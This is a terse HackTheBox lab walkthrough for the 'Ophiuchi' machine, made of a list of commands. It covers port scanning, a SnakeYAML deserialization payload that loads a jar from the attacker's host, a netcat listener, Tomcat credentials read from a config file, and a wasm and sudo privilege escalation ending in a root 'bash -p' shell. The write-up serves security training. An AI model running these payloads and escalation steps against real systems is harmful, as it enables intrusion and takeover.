Ophiuchi

Ophiuchi


HTB Linux

nmap -A -p- -oA ophiuchi 10.129.152.152 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA ophiuchi 10.129.152.152

nmap -sU -O -p- -oA ophiuchi-udp 10.129.152.152

nikto -h 10.129.152.152:80

ssh_command.

ssh_command.

whatweb http://10.129.152.152

ssh_command.

http://10.129.152.152:8080

ssh_command.

git clone https://github.com/artsploit/yaml-payload

ssh_command.

tree -fs

ssh_command.

nmap -p8080 10.129.152.152 —script http-enum -oN webScan

http://10.129.152.152:8080/manager

ssh_command.

cat src/artsploit/AwesomeScriptEngineFactory.java

ssh_command.

javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

ssh_command.

python3 -m http.server 80

nc -lvnp 443

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [“http://10.10.14.20/yaml-payload.jar”] ]] ]

ssh_command.

cat /opt/tomcat/conf/tomcat-users.xml

Credenciales-> admin:whythereisalimit

ssh_command.

su admin

ssh_command.

sudo -l

ssh_command.

cd /tmp

ls -l /opt/wasm-functions

cat /opt/wasm-functions/index.go

ssh_command.

cp /opt/wasm-functions/main.wasm .

touch deploy.sh

ls -l /bin/bash

vim deploy.sh

sudo /usr/bin/go run /opt/wasm-functions/index.go

ssh_command.

git clone —recursive https://github.com/WebAssembly/wabt

ssh_command.

cd wabt

git submodule update —init

mkdir build

cmake ..

ssh_command.

cmake —build .

ssh_command.

python3 -m http.server 8082

wget http://10.129.152.152:8082/main.wasm

ssh_command.

./wasm2wat ../../main.wasm

./wasm2wat ../../main.wasm > main.wat

cat main.wat

ssh_command.

rm main.wasm

./wat2wasm main.wat > main.wasm

ssh_command.

python3 -m http.server 80

cd tmp

wget http://10.10.14.26/main.wasm

ssh_command.

chmod +x main.wasm

ls -l /bin/bash

cat deploy.sh

ls -l /bin/bash

bash -p

ssh_command.

© 2025 Cu3rv0x